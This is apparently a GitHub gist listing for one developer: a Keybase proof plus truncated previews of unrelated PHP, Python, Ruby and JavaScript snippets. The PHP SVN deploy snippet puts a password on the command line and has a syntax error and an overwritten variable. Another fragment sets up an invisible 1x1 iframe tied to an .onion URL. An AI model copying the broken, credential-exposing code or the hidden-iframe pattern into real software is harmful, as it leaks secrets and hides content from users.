I hereby claim:
- I am mbijon on github.
- I am mbijon (https://keybase.io/mbijon) on keybase.
- I have a public key ASDneF_5-coE6CEyRCzP3YMftB04es5vID21FVADl4k39go
To claim this, I am signing this object:
<?php | |
/* | |
* Usage: | |
* 1. Paste into Debug Bar console and Run | |
* 2. Run it several times (just in case iTunes is running on your dev server) | |
* | |
* Benchmarking Alternatives: | |
* - Wrap the real SEO Auto Linker for wp-cli and replace the call to content() | |
* - Add this quick & dirty benchmark loop to Debug Bar | |
* |
$svn_address = "https://domain/"; | |
$svn_user = "foo"; | |
$svn_user = "foopass"; | |
$web_path = "/var/www/foo.com/public_html/"; | |
$temp_path = "/data/tmp/"; | |
$backup_path = $path . "/data/backup/"; | |
// Checkout SVN | |
$svn_command = "svn export " . $svn_address . " " . $temp_path "/ --username=" . $svn_user . " --password="; | |
echo $svn_command . "<br />"; |
<?php | |
/* | |
* Human-format currency $'s converted to machine floating points | |
*/ | |
// Dollar amount via GET (not very secure) | |
$raw_dollar_amount = ( isset($_GET['dollar_amount']) ) ? htmlentities( $_GET['dollar_amount'], ENT_QUOTES, 'UTF-8' ) : FALSE; | |
if ( $raw_dollar_amount ) { | |
// Create a return value in case nothing done | |
$float_dollar_amount = $raw_dollar_amount; |
//nl7qbezu7pqsuone.onion/?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0 iframe: | |
<html> | |
<body> | |
<iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe> | |
</body> | |
</html> | |
<script> |
### JHW 2018 | |
import numpy as np | |
import umap | |
# This code from the excellent module at: | |
# https://stackoverflow.com/questions/4643647/fast-prime-factorization-module | |
import random |
/* | |
* Customize the Featured Image metabox w/ info-text | |
* | |
*/ | |
function mim_remove_featuredimage_metabox() { | |
remove_meta_box( 'postimagediv', 'inspire', 'side' ); | |
} | |
add_action( 'admin_head', 'mim_remove_featuredimage_metabox' ); | |
function mim_custom_featuredimage_metabox( $post ) { |
I hereby claim:
To claim this, I am signing this object:
#!/usr/bin/env ruby | |
require "openssl" | |
require 'digest/sha2' | |
require 'base64' | |
# We use the AES 256 bit cipher-block chaining symetric encryption | |
alg = "AES-256-CBC" | |
# We want a 256 bit key symetric key based on some passphrase | |
digest = Digest::SHA256.new |
#!/usr/bin/env ruby | |
require "openssl" | |
require 'digest/sha2' | |
require 'base64' | |
# We use the AES 256 bit cipher-block chaining symetric encryption | |
alg = "AES-256-CBC" | |
# We want a 256 bit key symetric key based on some passphrase | |
digest = Digest::SHA256.new |
"use strict"; | |
var fs = require('fs'); | |
var path = require('path'); | |
module.exports = function(context) { | |
var encoding = 'utf-8'; | |
var filepath = 'platforms/ios/cordova/build.xcconfig'; | |
if (context.opts.cordova.platforms.indexOf('ios') === -1) return; |